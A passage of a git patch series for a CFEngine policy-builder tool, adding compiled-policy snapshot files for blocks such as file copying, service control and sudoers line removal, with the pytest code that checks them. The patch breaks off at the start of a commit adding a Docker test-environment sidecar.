b/python/tests/snapshots/copy-directory.cf new file mode 100644 index 0000000..9b34cd1 --- /dev/null +++ b/python/tests/snapshots/copy-directory.cf @@ -0,0 +1,10 @@ +### example + # Case 0 + files: + "/opt/app/static/." + create => "true", + copy_from => local_cp("/srv/build/static"), + depth_search => recurse("inf"), + perms => mog_dirs("644", "root", "root"); + +### body perms mog_dirs(mode, user, group) diff --git a/python/tests/snapshots/copy-file.cf b/python/tests/snapshots/copy-file.cf new file mode 100644 index 0000000..ddef8b4 --- /dev/null +++ b/python/tests/snapshots/copy-file.cf @@ -0,0 +1,6 @@ +### example + # Case 0 + files: + "/etc/motd" + copy_from => local_cp("/srv/files/motd"), + perms => mog("644", "root", "root"); diff --git a/python/tests/snapshots/create-directory.cf b/python/tests/snapshots/create-directory.cf new file mode 100644 index 0000000..8287264 --- /dev/null +++ b/python/tests/snapshots/create-directory.cf @@ -0,0 +1,9 @@ +### example + # Case 0 + vars: + "case_0_path" slist => { "/var/www/html", "/var/www/uploads" }; + + files: + "$(case_0_path)/." + create => "true", + perms => mog("755", "www-data", "www-data"); diff --git a/python/tests/snapshots/create-edit-file.cf b/python/tests/snapshots/create-edit-file.cf new file mode 100644 index 0000000..3d2f70b --- /dev/null +++ b/python/tests/snapshots/create-edit-file.cf @@ -0,0 +1,9 @@ +### example + # Case 0 + files: + "/etc/app.conf" + create => "true", + content => "name = \"app\" +port = 8080 +", + perms => mog("644", "root", "root"); diff --git a/python/tests/snapshots/create-symlink.cf b/python/tests/snapshots/create-symlink.cf new file mode 100644 index 0000000..bce97e5 --- /dev/null +++ b/python/tests/snapshots/create-symlink.cf @@ -0,0 +1,13 @@ +### example + # Case 0 + files: + "/etc/nginx/sites-enabled/app" + link_from => ln_s("/etc/nginx/sites-available/app"), + move_obstructions => "false"; + +### replace = 'true' + # Case 1 + files: + "/etc/nginx/sites-enabled/app" + link_from => ln_s("/etc/nginx/sites-available/app"), + move_obstructions => "true"; diff --git a/python/tests/snapshots/cron-job.cf b/python/tests/snapshots/cron-job.cf new file mode 100644 index 0000000..0d8b085 --- /dev/null +++ b/python/tests/snapshots/cron-job.cf @@ -0,0 +1,5 @@ +### example + # Case 0 + methods: + "cron job for root" + usebundle => cronjob("/usr/local/bin/backup.sh", "root", "3", "30"); diff --git a/python/tests/snapshots/decorators.cf b/python/tests/snapshots/decorators.cf new file mode 100644 index 0000000..e9ceeaf --- /dev/null +++ b/python/tests/snapshots/decorators.cf @@ -0,0 +1,187 @@ +### decorator default-if-empty + # Case 0 + # The stdout of "/bin/echo hello" + # → fall back to "none" if unset or "x" + "via_0__in" string => execresult("/bin/echo hello", "noshell", "stdout"); + + "via_0" + string => "$(snap_vars.via_0__in)", + if => and( + isvariable("snap_vars.via_0__in"), + not(strcmp("$(snap_vars.via_0__in)", "x")) + ); + + "via_0" + string => "none", + if => not(isvariable("snap_vars.via_0")); + +### decorator filter + # Case 1 + # The lines of /etc/hosts + # → filter entries on h.* + "via_1" + slist => filter( + "h.*", + readstringlist("/etc/hosts", "x", "\n", "1000", "1048576"), + "true", + "false", + "1000" + ); + +### decorator format + # Case 2 + # The stdout of "/bin/echo hello" + # → format as "%s" + "via_2" + string => format( + "%s", execresult("/bin/echo hello", "noshell", "stdout") + ); + +### decorator grep + # Case 3 + # The lines of /etc/hosts + # → keep entries matching h.* + "via_3" + slist => grep( + "h.*", readstringlist("/etc/hosts", "x", "\n", "1000", "1048576") + ); + +### decorator join + # Case 4 + # The lines of /etc/hosts + # → join with ", " + "via_4" + string => join( + ", ", readstringlist("/etc/hosts", "x", "\n", "1000", "1048576") + ); + +### decorator lastnode + # Case 5 + # The stdout of "/bin/echo hello" + # → keep what follows the last "/" + "via_5" + string => lastnode( + execresult("/bin/echo hello", "noshell", "stdout"), "/" + ); + +### decorator length + # Case 6 + # The lines of /etc/hosts + # → count the entries + "via_6" + int => length(readstringlist("/etc/hosts", "x", "\n", "1000", "1048576")); + +### decorator maplist + # Case 7 + # The lines of /etc/hosts + # → map each entry to "h.*" + "via_7" + slist => maplist( + "h.*", readstringlist("/etc/hosts", "x", "\n", "1000", "1048576") + ); + +### decorator nth + # Case 8 + # The lines of /etc/hosts + # → take entry 0 + "via_8" + string => nth( + readstringlist("/etc/hosts", "x", "\n", "1000", "1048576"), "0" + ); + +### decorator regex-replace + # Case 9 + # The stdout of "/bin/echo hello" + # → replace h.* with "x" + "via_9" + string => regex_replace( + execresult("/bin/echo hello", "noshell", "stdout"), "h.*", "x", "x" + ); + +### decorator sort + # Case 10 + # The lines of /etc/hosts + # → sort (lex) + "via_10" + slist => sort( + readstringlist("/etc/hosts", "x", "\n", "1000", "1048576"), "lex" + ); + +### decorator split-list + # Case 11 + # The stdout of "/bin/echo hello" + # → split into a list on "\n" + "via_11" + slist => string_split( + execresult("/bin/echo hello", "noshell", "stdout"), "\n", "1000" + ); + +### decorator string-downcase + # Case 12 + # The stdout of "/bin/echo hello" + # → lowercase + "via_12" + string => string_downcase( + execresult("/bin/echo hello", "noshell", "stdout") + ); + +### decorator string-head + # Case 13 + # The stdout of "/bin/echo hello" + # → keep the first 9 characters + "via_13" + string => string_head( + execresult("/bin/echo hello", "noshell", "stdout"), "9" + ); + +### decorator string-replace + # Case 14 + # The stdout of "/bin/echo hello" + # → replace "l" with "x" + "via_14" + string => string_replace( + execresult("/bin/echo hello", "noshell", "stdout"), "l", "x" + ); + +### decorator string-reverse + # Case 15 + # The stdout of "/bin/echo hello" + # → reverse + "via_15" + string => string_reverse( + execresult("/bin/echo hello", "noshell", "stdout") + ); + +### decorator string-tail + # Case 16 + # The stdout of "/bin/echo hello" + # → keep the last 9 characters + "via_16" + string => string_tail( + execresult("/bin/echo hello", "noshell", "stdout"), "9" + ); + +### decorator string-trim + # Case 17 + # The stdout of "/bin/echo hello" + # → trim surrounding whitespace + "via_17" + string => string_trim(execresult("/bin/echo hello", "noshell", "stdout")); + +### decorator string-upcase + # Case 18 + # The stdout of "/bin/echo hello" + # → uppercase + "via_18" + string => string_upcase( + execresult("/bin/echo hello", "noshell", "stdout") + ); + +### decorator unique + # Case 19 + # The lines of /etc/hosts + # → remove duplicates + "via_19" + slist => unique( + readstringlist("/etc/hosts", "x", "\n", "1000", "1048576") + ); diff --git a/python/tests/snapshots/define-class.cf b/python/tests/snapshots/define-class.cf new file mode 100644 index 0000000..808a8c9 --- /dev/null +++ b/python/tests/snapshots/define-class.cf @@ -0,0 +1,52 @@ +### source always-true + # Case 0 + "always_true" expression => "any"; + +### source always-false + # Case 1 + "always_false" expression => "!any"; + +### source combine-and + # Case 2 + "combine_and" and => { "linux", "!debian" }; + +### source combine-or + # Case 3 + "combine_or" or => { "linux", "!debian" }; + +### source check-file-exists + # Case 4 + "check_file_exists" expression => fileexists("/etc/hosts"); + +### source check-dir-exists + # Case 5 + "check_dir_exists" expression => isdir("/etc/hosts"); + +### source check-variable-defined + # Case 6 + "check_variable_defined" expression => isvariable("snap_vars.literal"); + +### source check-matches-pattern + # Case 7 + "check_matches_pattern" expression => regcmp("h.*", "hello"); + +### source check-values-equal + # Case 8 + "check_values_equal" expression => strcmp("a", "b"); + +### source check-greater-than + # Case 9 + "check_greater_than" expression => isgreaterthan("hello", "1"); + +### source check-less-than + # Case 10 + "check_less_than" expression => islessthan("hello", "1"); + +### source check-command-succeeds + # Case 11 + "check_command_succeeds" + expression => returnszero("/bin/echo hello", "noshell"); + +### source custom + # Case 12 + "custom" expression => "linux"; diff --git a/python/tests/snapshots/define-variable.cf b/python/tests/snapshots/define-variable.cf new file mode 100644 index 0000000..c375154 --- /dev/null +++ b/python/tests/snapshots/define-variable.cf @@ -0,0 +1,45 @@ +### source literal + # Case 0 + "literal" string => "hello"; + +### source list + # Case 1 + "list" slist => { "a", "b" }; + +### source structured-data-literal + # Case 2 + "structured_data_literal" data => parsejson("{\"a\": 1}"); + +### source variable + # Case 3 + "variable" string => "$(snap_vars.literal)"; + +### source list-variable + # Case 4 + "list_variable" slist => { @(snap_vars.list) }; + +### source command-output + # Case 5 + "command_output" + string => execresult("/bin/echo hello", "noshell", "stdout"); + +### source file-lines + # Case 6 + "file_lines" + slist => readstringlist("/etc/hosts", "x", "\n", "1000", "1048576"); + +### source file-content + # Case 7 + "file_content" string => readfile("/etc/hosts", "16384"); + +### source file-metadata + # Case 8 + "file_metadata" string => filestat("/etc/hosts", "size"); + +### source environment-variable + # Case 9 + "environment_variable" string => getenv("HOME", "1024"); + +### source structured-data-json + # Case 10 + "structured_data_json" data => readjson("/etc/hosts", "1048576"); diff --git a/python/tests/snapshots/ensure-lines.cf b/python/tests/snapshots/ensure-lines.cf new file mode 100644 index 0000000..e35377c --- /dev/null +++ b/python/tests/snapshots/ensure-lines.cf @@ -0,0 +1,15 @@ +### example + # Case 0 + files: + "/etc/hosts" + create => "true", + edit_line => append_if_no_lines("127.0.0.1 app.local +10.0.0.5 db.local"); + +### create = 'false' + # Case 1 + files: + "/etc/hosts" + create => "false", + edit_line => append_if_no_lines("127.0.0.1 app.local +10.0.0.5 db.local"); diff --git a/python/tests/snapshots/install-package.cf b/python/tests/snapshots/install-package.cf new file mode 100644 index 0000000..74fa29b --- /dev/null +++ b/python/tests/snapshots/install-package.cf @@ -0,0 +1,4 @@ +### example + # Case 0 + packages: + "nginx" policy => "present"; diff --git a/python/tests/snapshots/manage-service.cf b/python/tests/snapshots/manage-service.cf new file mode 100644 index 0000000..4c4d07f --- /dev/null +++ b/python/tests/snapshots/manage-service.cf @@ -0,0 +1,29 @@ +### example + # Case 0 + services: + "nginx" service_policy => "start"; + +### action = 'stop' + # Case 1 + services: + "nginx" service_policy => "stop"; + +### action = 'enable' + # Case 2 + services: + "nginx" service_policy => "enable"; + +### action = 'disable' + # Case 3 + services: + "nginx" service_policy => "disable"; + +### action = 'reload' + # Case 4 + services: + "nginx" service_policy => "reload"; + +### action = 'restart' + # Case 5 + services: + "nginx" service_policy => "restart"; diff --git a/python/tests/snapshots/manage-users.cf b/python/tests/snapshots/manage-users.cf new file mode 100644 index 0000000..e8e1d8b --- /dev/null +++ b/python/tests/snapshots/manage-users.cf @@ -0,0 +1,14 @@ +### example + # Case 0 + users: + "deploy" policy => "present"; + +### state = 'locked' + # Case 1 + users: + "deploy" policy => "locked"; + +### state = 'absent' + # Case 2 + users: + "deploy" policy => "absent"; diff --git a/python/tests/snapshots/mount-storage.cf b/python/tests/snapshots/mount-storage.cf new file mode 100644 index 0000000..0eaf69c --- /dev/null +++ b/python/tests/snapshots/mount-storage.cf @@ -0,0 +1,31 @@ +### example + # Case 0 + storage: + "/mnt/share" mount => remote_mount("nfs", "nas.local", "/exports/share"); + +### fs_type = 'nfs2' + # Case 1 + storage: + "/mnt/share" mount => remote_mount("nfs2", "nas.local", "/exports/share"); + +### fs_type = 'nfs3' + # Case 2 + storage: + "/mnt/share" mount => remote_mount("nfs3", "nas.local", "/exports/share"); + +### fs_type = 'nfs4' + # Case 3 + storage: + "/mnt/share" mount => remote_mount("nfs4", "nas.local", "/exports/share"); + +### fs_type = 'panfs' + # Case 4 + storage: + "/mnt/share" mount => remote_mount("panfs", "nas.local", "/exports/share"); + +### fs_type = 'cifs' + # Case 5 + storage: + "/mnt/share" mount => remote_mount("cifs", "nas.local", "/exports/share"); + +### body mount remote_mount(type, server, source) diff --git a/python/tests/snapshots/remove-directory.cf b/python/tests/snapshots/remove-directory.cf new file mode 100644 index 0000000..4be744b --- /dev/null +++ b/python/tests/snapshots/remove-directory.cf @@ -0,0 +1,7 @@ +### example + # Case 0 + vars: + "case_0_path" slist => { "/tmp/build", "/tmp/cache" }; + + methods: + "remove $(case_0_path)" usebundle => rm_rf("$(case_0_path)"); diff --git a/python/tests/snapshots/remove-file.cf b/python/tests/snapshots/remove-file.cf new file mode 100644 index 0000000..6325a2e --- /dev/null +++ b/python/tests/snapshots/remove-file.cf @@ -0,0 +1,6 @@ +### example + # Case 0 + files: + "/etc/nginx/sites-enabled/default" + delete => tidy, + pathtype => "literal"; diff --git a/python/tests/snapshots/remove-lines.cf b/python/tests/snapshots/remove-lines.cf new file mode 100644 index 0000000..2d057c2 --- /dev/null +++ b/python/tests/snapshots/remove-lines.cf @@ -0,0 +1,4 @@ +### example + # Case 0 + files: + "/etc/sudoers" edit_line => delete_lines_matching(".*NOPASSWD.*"); diff --git a/python/tests/snapshots/remove-package.cf b/python/tests/snapshots/remove-package.cf new file mode 100644 index 0000000..5f6a6f3 --- /dev/null +++ b/python/tests/snapshots/remove-package.cf @@ -0,0 +1,4 @@ +### example + # Case 0 + packages: + "telnet" policy => "absent"; diff --git a/python/tests/snapshots/render-template.cf b/python/tests/snapshots/render-template.cf new file mode 100644 index 0000000..7e55e37 --- /dev/null +++ b/python/tests/snapshots/render-template.cf @@ -0,0 +1,18 @@ +### example + # Case 0 + vars: + "case_0_fqhost" string => "$(sys.fqhost)"; + + "case_0_template_data" + data => mergedata('{ "vars": { "sys": { "fqhost": case_0_fqhost } } }'); + + files: + "/etc/app.conf" + create => "true", + edit_template => "$(this.promise_dirname)/templates/snap_case_0.mustache", + template_method => "mustache", + perms => mog("644", "root", "root"), + template_data => @(case_0_template_data); + +### file ./templates/snap_case_0.mustache +host = {{{vars.sys.fqhost}}} diff --git a/python/tests/snapshots/replace-text.cf b/python/tests/snapshots/replace-text.cf new file mode 100644 index 0000000..acf8afe --- /dev/null +++ b/python/tests/snapshots/replace-text.cf @@ -0,0 +1,5 @@ +### example + # Case 0 + files: + "/etc/nginx/nginx.conf" + edit_line => regex_replace("example\.com", "demo.local"); diff --git a/python/tests/snapshots/report-message.cf b/python/tests/snapshots/report-message.cf new file mode 100644 index 0000000..9d479fb --- /dev/null +++ b/python/tests/snapshots/report-message.cf @@ -0,0 +1,14 @@ +### example + # Case 0 + reports: + "Provisioned $(sys.fqhost)"; + +### run_interval = '60' + # Case 1 + reports: + "Provisioned $(sys.fqhost)" action => if_elapsed("60"); + +### run_interval = '1440' + # Case 2 + reports: + "Provisioned $(sys.fqhost)" action => if_elapsed("1440"); diff --git a/python/tests/snapshots/rotate-log.cf b/python/tests/snapshots/rotate-log.cf new file mode 100644 index 0000000..49cf518 --- /dev/null +++ b/python/tests/snapshots/rotate-log.cf @@ -0,0 +1,8 @@ +### example + # Case 0 + vars: + "case_0_path" slist => { "/var/log/app.log", "/var/log/worker.log" }; + + methods: + "rotate $(case_0_path)" + usebundle => logrotate("$(case_0_path)", "50M", "5"); diff --git a/python/tests/snapshots/run-command.cf b/python/tests/snapshots/run-command.cf new file mode 100644 index 0000000..c8093d7 --- /dev/null +++ b/python/tests/snapshots/run-command.cf @@ -0,0 +1,18 @@ +### example + # Case 0 + commands: + "/usr/sbin/update-ca-certificates" + contain => in_shell, + action => if_elapsed("1440"); + +### run_interval = '' + # Case 1 + commands: + "/usr/sbin/update-ca-certificates" contain => in_shell; + +### run_interval = '60' + # Case 2 + commands: + "/usr/sbin/update-ca-certificates" + contain => in_shell, + action => if_elapsed("60"); diff --git a/python/tests/snapshots/set-config-values.cf b/python/tests/snapshots/set-config-values.cf new file mode 100644 index 0000000..77e85be --- /dev/null +++ b/python/tests/snapshots/set-config-values.cf @@ -0,0 +1,23 @@ +### example + # Case 0 + vars: + "case_0_settings[PermitRootLogin]" string => "no"; + "case_0_settings[MaxAuthTries]" string => "3"; + + files: + "/etc/ssh/sshd_config" + edit_line => set_line_based( + "snap.case_0_settings", " ", "\s+", ".*", "\s*#\s*" + ); + +### format = 'equals' + # Case 1 + vars: + "case_1_settings[PermitRootLogin]" string => "no"; + "case_1_settings[MaxAuthTries]" string => "3"; + + files: + "/etc/ssh/sshd_config" + edit_line => set_line_based( + "snap.case_1_settings", "=", "\s*=\s*", ".*", "\s*#\s*" + ); diff --git a/python/tests/snapshots/set-permissions.cf b/python/tests/snapshots/set-permissions.cf new file mode 100644 index 0000000..d361ea8 --- /dev/null +++ b/python/tests/snapshots/set-permissions.cf @@ -0,0 +1,6 @@ +### example + # Case 0 + files: + "/etc/shadow" perms => mog_dirs("640", "root", "shadow"); + +### body perms mog_dirs(mode, user, group) diff --git a/python/tests/snapshots/signal-process.cf b/python/tests/snapshots/signal-process.cf new file mode 100644 index 0000000..56e96d2 --- /dev/null +++ b/python/tests/snapshots/signal-process.cf @@ -0,0 +1,43 @@ +### example + # Case 0 + processes: + "nginx: master.*" signals => { "hup" }; + +### signal = 'term' + # Case 1 + processes: + "nginx: master.*" signals => { "term" }; + +### signal = 'kill' + # Case 2 + processes: + "nginx: master.*" signals => { "kill" }; + +### signal = 'int' + # Case 3 + processes: + "nginx: master.*" signals => { "int" }; + +### signal = 'cont' + # Case 4 + processes: + "nginx: master.*" signals => { "cont" }; + +### signal = 'stop' + # Case 5 + processes: + "nginx: master.*" signals => { "stop" }; + +### run_interval = '60' + # Case 6 + processes: + "nginx: master.*" + signals => { "hup" }, + action => if_elapsed("60"); + +### run_interval = '1440' + # Case 7 + processes: + "nginx: master.*" + signals => { "hup" }, + action => if_elapsed("1440"); diff --git a/python/tests/snapshots/watch-file.cf b/python/tests/snapshots/watch-file.cf new file mode 100644 index 0000000..499531c --- /dev/null +++ b/python/tests/snapshots/watch-file.cf @@ -0,0 +1,7 @@ +### example + # Case 0 + vars: + "case_0_path" slist => { "/etc/passwd", "/etc/group" }; + + files: + "$(case_0_path)" changes => detect_content; diff --git a/python/tests/test_compiler_block_snapshots.py b/python/tests/test_compiler_block_snapshots.py new file mode 100644 index 0000000..2150e49 --- /dev/null +++ b/python/tests/test_compiler_block_snapshots.py @@ -0,0 +1,152 @@ +"""What each block compiles to, exactly: one reviewed snapshot per block in tests/snapshots/ — +a realistic example plus each option, every Define Variable / Define Class source and every +decorator. After an intended change, regenerate with CFPB_UPDATE_SNAPSHOTS=1 and review the diff.""" + +from __future__ import annotations + +import os +from pathlib import Path + +import pytest +from test_compiler_all_blocks import FROM_VARIABLE, LIBRARY, _entry, _params + +from cfpb_compiler import compile_project + +SNAPSHOTS = Path(__file__).parent / "snapshots" +UPDATE = os.environ.get("CFPB_UPDATE_SNAPSHOTS") == "1" +ACTIONS = sorted(block_id for block_id, d in LIBRARY.descriptors.items() if d.get("compile_target") == "own_bundle") +# Realistic inputs, so a snapshot reads like real policy; the rest are defaults. Lists show iteration. +EXAMPLES: dict[str, dict[str, str]] = { + "call-method": {"label": "Run site checks", "bundle_name": "site_checks"}, + "clean-up-old-files": {"directory": "/var/tmp", "days": "14"}, + "comment-lines": {"path": "/etc/nginx/nginx.conf", "pattern": "listen 8080.*"}, + "copy-directory": {"destination": "/opt/app/static", "source": "/srv/build/static"}, + "copy-file": {"destination": "/etc/motd", "source": "/srv/files/motd"}, + "create-directory": {"path": "/var/www/html\n/var/www/uploads", "owner": "www-data", "group": "www-data"}, + "create-edit-file": {"path": "/etc/app.conf", "content": 'name = "app"\nport = 8080\n'}, + "create-symlink": {"link": "/etc/nginx/sites-enabled/app", "target": "/etc/nginx/sites-available/app"}, + "cron-job": {"command": "/usr/local/bin/backup.sh", "hours": "3", "minutes": "30"}, + "ensure-lines": {"path": "/etc/hosts", "lines": "127.0.0.1 app.local\n10.0.0.5 db.local"}, + "install-package": {"package_name": "nginx"}, + "manage-service": {"service_name": "nginx"}, + "manage-users": {"username": "deploy"}, + "mount-storage": {"mount_point": "/mnt/share", "server": "nas.local", "remote_path": "/exports/share"}, + "remove-directory": {"path": "/tmp/build\n/tmp/cache"}, + "remove-file": {"path": "/etc/nginx/sites-enabled/default"}, + "remove-lines": {"path": "/etc/sudoers", "pattern": ".*NOPASSWD.*"}, + "remove-package": {"package_name": "telnet"}, + "render-template": {"destination": "/etc/app.conf", "template_content": "host = {{{vars.sys.fqhost}}}\n"}, + "replace-text": {"path": "/etc/nginx/nginx.conf", "find": "example\\.com", "replace": "demo.local"}, + "report-message": {"message": "Provisioned $(sys.fqhost)", "report_to_file": ""}, + "rotate-log": {"path": "/var/log/app.log\n/var/log/worker.log", "max_size": "50M"}, + "run-command": {"command": "/usr/sbin/update-ca-certificates"}, + "set-config-values": {"path": "/etc/ssh/sshd_config", "settings": "PermitRootLogin no\nMaxAuthTries 3"}, + "set-permissions": {"path": "/etc/shadow", "mode": "640", "group": "shadow"}, + "signal-process": {"process_pattern": "nginx: master.*"}, + "watch-file": {"path": "/etc/passwd\n/etc/group"}, +} + + +def _action_cases(block_id: str) -> list[tuple[str, dict]]: + """The sample, then each option of each options parameter that differs from it.""" + declared = LIBRARY.descriptors[block_id]["parameters"] + base = {**_params(declared), **EXAMPLES[block_id]} + cases = [("example", base)] + for param in declared: + for option in param.get("options", []): + value = option if isinstance(option, str) else option["value"] + if value != base[param["name"]]: + cases.append((f"{param['name']} = {value!r}", {**base, param["name"]: value})) + return [ + (name, {"instanceId": f"case{i}", "blockId": block_id, "label": f"Case {i}", "params": params}) + for i, (name, params) in enumerate(cases) + ] + + +def _definition_cases(block_id: str) -> list[tuple[str, dict]]: + """One block per value source, holding a single entry.""" + descriptor = LIBRARY.descriptors[block_id] + name_param = descriptor["entries"]["name_param"] + cases = [] + for i, source in enumerate(descriptor["value_sources"]): + name = source["id"].replace("-", "_") + overrides = {"from_variable": FROM_VARIABLE[source["id"]]} if source["id"] in FROM_VARIABLE else {} + extra = {} + if source["id"].startswith("combine"): + extra["classRefs"] = [ + {"id": "r1", "name": "linux", "negate": False}, + {"id": "r2", "name": "debian", "negate": True}, + ] + entry = _entry(name, name_param, name, source["id"], _params(source["parameters"], **overrides), **extra) + block = {"instanceId": f"case{i}", "blockId": block_id, "label": f"Case {i}", "params": {}, "entries": [entry]} + cases.append((f"source {source['id']}", block)) + return cases + + +def _decorator_cases() -> list[tuple[str, dict]]: + """Every decorator on a value of its input type.""" + sources = {s["id"]: s for s in LIBRARY.descriptors["define-variable"]["value_sources"]} + cases = [] + for i, (decorator_id, decorator) in enumerate(sorted(LIBRARY.decorators.items())): + source_id = "file-lines" if decorator["input_type"] == "slist" else "command-output" + step = {"id": "d", "decoratorId": decorator_id, "params": _params(decorator.get("parameters", []))} + entry = _entry( + "v", "variable_name", f"via_{i}", source_id, _params(sources[source_id]["parameters"]), decorators=[step] + ) + block = { + "instanceId": f"case{i}", + "blockId": "define-variable", + "label": f"Case {i}", + "params": {}, + "entries": [entry], + } + cases.append((f"decorator {decorator_id}", block)) + return cases + + +def _cases(name: str) -> list[tuple[str, dict]]: + if name == "decorators": + return _decorator_cases() + if LIBRARY.descriptors[name].get("compile_target") == "own_bundle": + return _action_cases(name) + return _definition_cases(name) + + +def _render(name: str) -> str: + """Each case's compiled lines, under a `### ` heading.""" + cases = _cases(name) + blocks = [block for _case, block in cases] + file = {"id": "f", "name": "Snapshot", "bundle": "snap", "path": "./snap.cf", "blocks": blocks} + meta = {"files": [{**file, "order": [b["instanceId"] for b in blocks]}]} + source_map: dict = {} + files = compile_project(meta, source_map=source_map) + lines = files["./snap.cf"].splitlines() + out = [] + for case, block in cases: + out.append(f"### {case}") + for first, last in source_map["./snap.cf"].get(block["instanceId"], []): + out += lines[first - 1 : last] + out.append("") + # Templates and builder bodies the cases need, as written next to the policy. + for path, text in files.items(): + if path != "./snap.cf": + out += [f"### file {path}", text.rstrip(), ""] + bodies = [body.split("\n")[0] for body in files["./snap.cf"].split("\nbody ")[1:]] + out += [f"### body {body}" for body in bodies if body != "file control"] + return "\n".join(out).rstrip() + "\n" + + +def test_every_action_block_has_an_example(): + assert sorted(EXAMPLES) == ACTIONS + + +@pytest.mark.parametrize("name", [*ACTIONS, "define-variable", "define-class", "decorators"]) +def test_compiled_output_matches_its_snapshot(name: str): + snapshot = SNAPSHOTS / f"{name}.cf" + actual = _render(name) + if UPDATE or not snapshot.exists(): + SNAPSHOTS.mkdir(exist_ok=True) + snapshot.write_text(actual) + if not UPDATE: + pytest.fail(f"{snapshot.name} was missing and has been written: review it and commit") + assert actual == snapshot.read_text(), f"{snapshot.name} changed: review, then CFPB_UPDATE_SNAPSHOTS=1" diff --git a/python/tests/test_compiler_block_variants.py b/python/tests/test_compiler_block_variants.py new file mode 100644 index 0000000..d784816 --- /dev/null +++ b/python/tests/test_compiler_block_variants.py @@ -0,0 +1,86 @@ +"""Every action block compiles, for inputs beyond its one sample: each option, each optional +parameter empty and set, one value and several for lists, and text CFEngine could misread.""" + +from __future__ import annotations + +import shutil +import subprocess +from pathlib import Path + +import pytest +from test_compiler_all_blocks import FIXTURES, LIBRARY, _params + +from cfpb_compiler import compile_project + +ACTIONS = sorted(block_id for block_id, d in LIBRARY.descriptors.items() if d.get("compile_target") == "own_bundle") +# Quotes, backslashes (one at the end too), a variable reference and regex syntax. +TRICKY = ['say "hi"', "C:\\temp\\", "a\\b and $(sys.fqhost)", "^\\s*(a|b)[0-9]+.*$"] +TRICKY_PATHS = ['/tmp/with space/say "hi"', "/tmp/$(sys.fqhost)/x\\y"] +LISTS = ["/tmp/a\n/tmp/b", "one\ntwo\n\nthree"] + + +def _values(param: dict) -> list[str]: + """The values to try for one parameter, besides its sample.""" + options = [o if isinstance(o, str) else o["value"] for o in param.get("options", [])] + if options: + return options + values = [] if param["required"] else [""] + if param["type"] == "number": + return [*values, "1", "1000"] + if param.get("allowed_chars"): + return values + if param.get("allow_list"): + values.append(LISTS[0] if param.get("path") else LISTS[1]) + if param.get("path"): + return [*values, *TRICKY_PATHS] + values += TRICKY + if param["type"] == "text": + values.append('first line\nsecond "line"\\') + return values + + +def variants(block_id: str) -> list[tuple[str, dict[str, str]]]: + """(name, params): the sample, then one parameter changed at a time.""" + declared = LIBRARY.descriptors[block_id]["parameters"] + base = _params(declared) + found = [("sample", base)] + for param in declared: + for value in _values(param): + if value != base[param["name"]]: + found.append((f"{param['name']}={value!r}", {**base, param["name"]: value})) + return found + + +def _project(block_id: str) -> dict: + blocks = [ + {"instanceId": f"{block_id}-{i}", "blockId": block_id, "label": f"Variant {i}", "params": params} + for i, (_name, params) in enumerate(variants(block_id)) + ] + file = {"id": "f", "name": "Variants", "bundle": "variants", "path": "./variants.cf", "blocks": blocks} + return {"files": [{**file, "order": [b["instanceId"] for b in blocks]}]} + + +@pytest.mark.parametrize("block_id", ACTIONS) +def test_every_variant_compiles_without_a_skip(block_id: str): + policy = compile_project(_project(block_id))["./variants.cf"] + + assert "# Skipped" not in policy + for i in range(len(variants(block_id))): + assert f"\n # Variant {i}\n" in policy, variants(block_id)[i][0] + + +@pytest.mark.skipif(shutil.which("cf-promises") is None, reason="needs a local CFEngine 3.27+") +@pytest.mark.parametrize("block_id", ACTIONS) +def test_every_variant_passes_cf_promises(block_id: str, tmp_path: Path): + for path, text in compile_project(_project(block_id)).items(): + (tmp_path / path).parent.mkdir(parents=True, exist_ok=True) + (tmp_path / path).write_text(text) + shutil.copy(FIXTURES / "stdlib-stub.cf", tmp_path / "stdlib.cf") + (tmp_path / "promises.cf").write_text( + 'body common control { inputs => { "stdlib.cf", "variants.cf" }; bundlesequence => { "variants" }; }\n' + "bundle agent some_bundle { }\n" + ) + + result = subprocess.run(["cf-promises", "-f", str(tmp_path / "promises.cf")], capture_output=True, text=True) + + assert result.returncode == 0, result.stderr From 2e086d765a41c799f297f9d031ca719c7dd4787e Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 12:26:05 +0300 Subject: [PATCH 029/141] Test Results & Logs tab checks Docker and pulls base images First step of test environments. The sidecar talks to Docker through the official SDK (cfpb_testenv.py), finding the Engine socket itself since docker.from_env() misses Docker Desktop, Colima and OrbStack, and looks up CFEngine packages in the public release data. Long actions stream JSON events through main to the window and can be cancelled. The tab shows Docker's status and pulls the base images with progress. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/README.md | 3 + python/cfpb_backend.py | 33 ++ python/cfpb_testenv.py | 223 ++++++++++++ python/pyproject.toml | 4 +- .../fixtures/releases/enterprise-3.27.1.json | 331 ++++++++++++++++++ .../releases/enterprise-releases.json | 73 ++++ python/tests/test_testenv.py | 89 +++++ python/uv.lock | 39 ++- src/main/backend.ts | 72 ++++ src/main/index.ts | 2 + src/main/testenv.ts | 60 ++++ src/preload/api.d.ts | 36 ++ src/preload/index.ts | 17 +- .../src/components/TestResultsView.tsx | 166 +++++++++ src/renderer/src/pages/ProjectView.tsx | 9 +- 15 files changed, 1148 insertions(+), 9 deletions(-) create mode 100644 python/cfpb_testenv.py create mode 100644 python/tests/fixtures/releases/enterprise-3.27.1.json create mode 100644 python/tests/fixtures/releases/enterprise-releases.json create mode 100644 python/tests/test_testenv.py create mode 100644 src/main/testenv.ts create mode 100644 src/renderer/src/components/TestResultsView.tsx diff --git a/python/README.md b/python/README.md index 563e9c5..5eb936c 100644 --- a/python/README.md +++ b/python/README.md @@ -10,6 +10,9 @@ non-zero exit. | `init` | `{"directory", "name", "description", "masterfiles", "git", "content"?}` | `{"path", "masterfiles"}` | 1 failed (cleaned up), 2 invalid input (nothing touched) | | `masterfiles` | `{"version"}` (`3.27.1` or `master`) | the masterfiles `build` entry `cfbs init` writes | 1 failed, 2 invalid input | | `compile` | the project's `.policy-builder/project.json` | `{"files": {: }, "source_map": {: {: [[first, last], …]}}}` | 1 can't compile, 2 compiler fault | +| `testenv doctor` / `images` | nothing | one JSON object: Docker's state / the base images and which are pulled | 1 can't answer | +| `testenv package` | `{edition, version, platform, arch, hub}` | `{url, sha256, version, filename}` from CFEngine's release data | 1 no such package | +| `testenv pull` | `{image}` | streamed: one JSON event per line (`progress`, `log`, then `done` or `error`) | 1 failed | `init` runs `cfbs init` in-process (non-interactive, `--git=no`) in `directory`, which must be absent or empty, with an existing parent. `masterfiles` is an diff --git a/python/cfpb_backend.py b/python/cfpb_backend.py index a426a2b..783fbbb 100644 --- a/python/cfpb_backend.py +++ 